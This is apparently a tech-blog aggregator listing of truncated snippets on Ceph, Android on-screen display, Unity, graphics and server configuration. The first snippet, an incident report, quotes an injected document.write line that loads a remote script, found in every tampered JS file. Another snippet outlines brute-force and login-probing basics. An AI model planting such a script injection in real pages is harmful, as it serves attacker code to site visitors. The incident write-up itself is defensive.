一、登录攻击者如何登录系统未能查出,所有日志已被清除。为防万一,把系统中没用的用户都删掉并修改其他用户密码。二、被攻击后的表象1、服务器资源被大量占用,资源占用率飙升;2、服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script&            
                
         
            
            
            
            OSD故障处理总结在定位OSD故障之前,首先检查MON和网络。执行ceph health或ceph -s命令,如果发现MON有报错,应当去MON上定位问题。其次检查网络是否正常运行,因为OSD的性能极大程度地受到网络影响。在主机端检查丢包,在交换机端检查CRC错误。获取OSDs的数据信息要查看是否所有的OSDs都健康运行,请执行:$ ceph osd stat
# 4个OSD,全部up,为健康状            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-12-26 19:36:52
                            
                                112阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            # Android OSD实现流程
## 1. 什么是Android OSD
在Android开发中,OSD(On-Screen Display)是指在屏幕上显示特定的信息,如文字、图标、进度条等。OSD常用于显示应用程序状态、提示信息、操作指引等。
## 2. 实现Android OSD的步骤
下面是实现Android OSD的一般步骤:
| 步骤 | 描述 |
| ---- | ---            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2023-10-10 04:50:03
                            
                                794阅读
                            
                                                                             
                 
                
                             
         
            
            
            
             一、前提: 漏洞挖掘原则所有变量所有头中的变量逐个变量删除 漏洞的本质数据与指令的混淆对用户输入信息过滤不严判断失误,误将数据当指令  二、经典漏洞: 1、身份认证常用弱口令/基于字典的密码爆破锁定账号信息收集手机号(通常有以手机号为用户名的)密码错误提示信息(用户名正确,输入错误密码看返回什么,再输入错误用户名和密码看返回什么,如果返            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-01-31 10:42:25
                            
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            unity 自动构建Thanks to Michaela Lehr for kindly helping to peer review this article. 感谢Michaela Lehr慷慨地帮助同行审阅本文。 In this tutorial, I’ll demonstrate how to create a simple 2D tapping game in Unity. The id            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-06-30 21:21:07
                            
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            回顾前一篇 Cocos Creator 物理刚体挖洞新方案(上)的整体思路是,先用 Clipper 去计算多边形,接着用 poly2tri 将多边形分割成多个三角形,最后用多边形刚体填充。这一篇准备介绍这个实现方式遇到的新坑,以及一些优化。填充纹理之前是使用cc.graphic作图的,可能有小伙伴需要填充更好看的纹理图片。这时,可以巧用 cc.mask 中的 _graphic。可以清楚的            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
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            背景大家在做Windows平台RTMP推送或轻量级RTSP服务的时候,不管是采集屏幕还是采集摄像头,亦或屏幕摄像头的叠加模式,总会有这样的诉求,采集到的数据,希望能本地看看具体采集的数据或者图像实际效果,也就是本次介绍的“预览”功能。废话不多说,想上图:如何实现开始预览开始预览,大概的流程是,调用OpenPublisherHandle(),进行初始的数据源类型设置,然后调用Open()接口,获取推            
                
         
            
            
            
             ContentsExterior View System (EVS)EVS FrameworkIEvsCameraEVS 应用EVS 管理器EVS HIDL 接口内核驱动程序  –This article is excerpted from Google’s official about Automotive , please indicate the source for reprinting            
                
         
            
            
            
             对模型进行扭曲、弯曲、裁剪、掏空操作1. demo效果2. 实现要点2.1 模型扭曲2.2 模型弯曲2.3 模型裁剪与掏空2.3.1 球体裁剪与掏空2.3.2 圆柱裁剪与掏空2.3.3 甜圈圈裁剪与掏空3. demo代码 1. demo效果 如上图所示,第一张是对方形圆柱进行扭曲操作的效果图,第二张图是对扁平立方体面进行弯曲操作的效果图,第三张图是从内到外依次是原物体,裁剪后的物体,裁剪后掏空物            
                
         
            
            
            
            Lingguilan某些交通项目中,常有道隧道模型数据,在将隧道模型和地形一起加载场景里的时候,会发现隧道口是封闭的,这个便不符合实际情况,因此地形挖洞的功能便可以将这个封闭的口打开。一、 数据制作实现隧道挖洞需要有两种数据,地形缓存和模型数据1、 地形缓存。 数据集右键场景缓存可以生成地形缓存2、 隧道模型数据 这个一般是用户自己在第三方建模软件将模型制作出来,然后使用3dmax插件导出成超图的            
                
                    
                        
                                                            
                                                                        
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            、引言在《moviepy音视频剪辑:使用rotate函数实现视频变换处理以及参数expand取值为True时的花屏问题解决方案》介绍了视频旋转的方法和花屏问题解决方案,Baby CY博友提了个问题:“旋转后会出现黑色的背景填充,请问能把黑色去掉变成透明吗?”,该问题是视频旋转时,由于视频内容为矩形,旋转时部分区域有内容,部分区域无内容为黑色透明色,且随着旋转这部分的范围是变化的,Baby CY希望            
                
         
            
            
            
             Ceph IO, Rados IO 流程解析(读写)CEPH RADOS IO(读写) 处理流程图:   CPEH读写顺序保证:  不同对象的并发控制不同的对象有可能落到同一个pg里,ceph实现里,在OSD的处理线程中就会给PG加锁,一直到queue_transactions里把事务放到bluestore的队列里才释放PG的锁。从这里            
                
                    
                        
                                                            
                                                                        
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                            2024-01-28 02:46:33
                            
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            # Android Onvif 设置OSD
## 简介
Open Network Video Interface Forum (ONVIF) 是一个国际标准化组织,致力于定义和推广网络视频设备的互操作性标准。在Android平台上,我们可以使用ONVIF协议来控制和配置网络摄像头。本文将介绍如何在Android设备上使用ONVIF协议设置摄像头的 OSD (On-Screen Display)            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2023-11-14 11:09:30
                            
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            坑1:Unity版本升级,手贱跟着升级,然后项目各种错 解决方案: 新版本先观望一段时间,新版本都有坑的。 坑2:Git做版本更新是,有些Prefab的数据死活不能同步 解决方案: 1.Edit->Project Settings->Editor 设置种打开 meta files 让meta文件和原始文件一起同步 2.Edit/ProjectSetting/Editor设置中Asset            
                
                    
                        
                                                            
                                                                        
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            最近是准备做一个末日射击风格的demo,最后选择了网红软件blender,不得不说,啃教程真的难,所以决定分享一些技巧一、概念图为了保持原创,我就在小区里随便拍了一些照片。最后选了这个比较简单的房子。主要是第一张的构图、环境很棒,之后做场景比较好参考。可惜那天阴天,没有采集到光影。二、模型制作1.制作窗洞窗洞这个我找了半天教程,这个方法算是比较简单一些选择“实体化”修改器,给墙体增加厚度。利用“布            
                
                    
                        
                                                            
                                                                        
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                   前言:大家好。虫虫大冒险(?)新的一期又双叒叕来了。本期文章主要讲解《空洞骑士中》的地图搭建相关的内容,并会写一个简单的相机脚本。除此之外,还会涉及到如何制作背景、产生异于玩家移动的动态效果。好了,闲话不多说,直接开始。地图模板工欲善其事,必先利其器。在开始地图搭建之前,我们先制作好游戏需要的地图模板,这样在后续的地图搭建环节中可省去大量的时间与精力。如何搭建地图模板就不多说了,通过            
                
         
            
            
            
            # Android 11 OSD水印
在Android 11中,OSD(On-Screen Display)水印是一种在屏幕上以文字或图片的形式显示的信息,通常用于标记屏幕内容或者提供额外的信息。OSD水印可以帮助用户更好地理解屏幕上显示的内容,也可以用于调试和监控应用程序。在本文中,我们将介绍如何在Android应用程序中实现OSD水印功能。
## 实现OSD水印
要在Android应用程            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
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            Shader "Unlit/遮挡边缘光描边"
{
    Properties
    {
        _MainTex("Texture", 2D) = "white" {}
        _Diffuse("Color",Color) = (1,1,1,1)
        _Outline("Outline",Range(0,1)) = 0.1  //  描边参数控制
                    
                
                    
                        
                                                            
                                                                        
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            短视频巨头快手最近又看上了一个新赛道。根据《松果财经》获悉,快手即将上线一款修图软件,叫做“原片”APP。据悉,“原片”是一款功能强大的全能修图App,对标的是字节跳动旗下的 “醒图”App。    “颜值”至上,美颜修图成为了现代人必不可少的生活方式,但美颜修图市场真是一个好生意吗?快手又为何瞧上了美颜修图赛道?快手推出“原片” 修图赛道有何魔力?在美颜修图赛道中,快手、抖音是老玩家了。两者相继            
                
                    
                        
                                                            
                                                                        
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            假设内网的 IP 是 192.168.1.100,域名为 internal.example.com。前提条件代理服务器:192.168.1.100,将其解析为 internal.example.com。HAProxy 服务器:负责将请求转发到 Nginx。Nginx 服务器:负责处理最终的请求。步骤 1:配置 /etc/hosts在客户端或者需要解析 internal.example.com 的机            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
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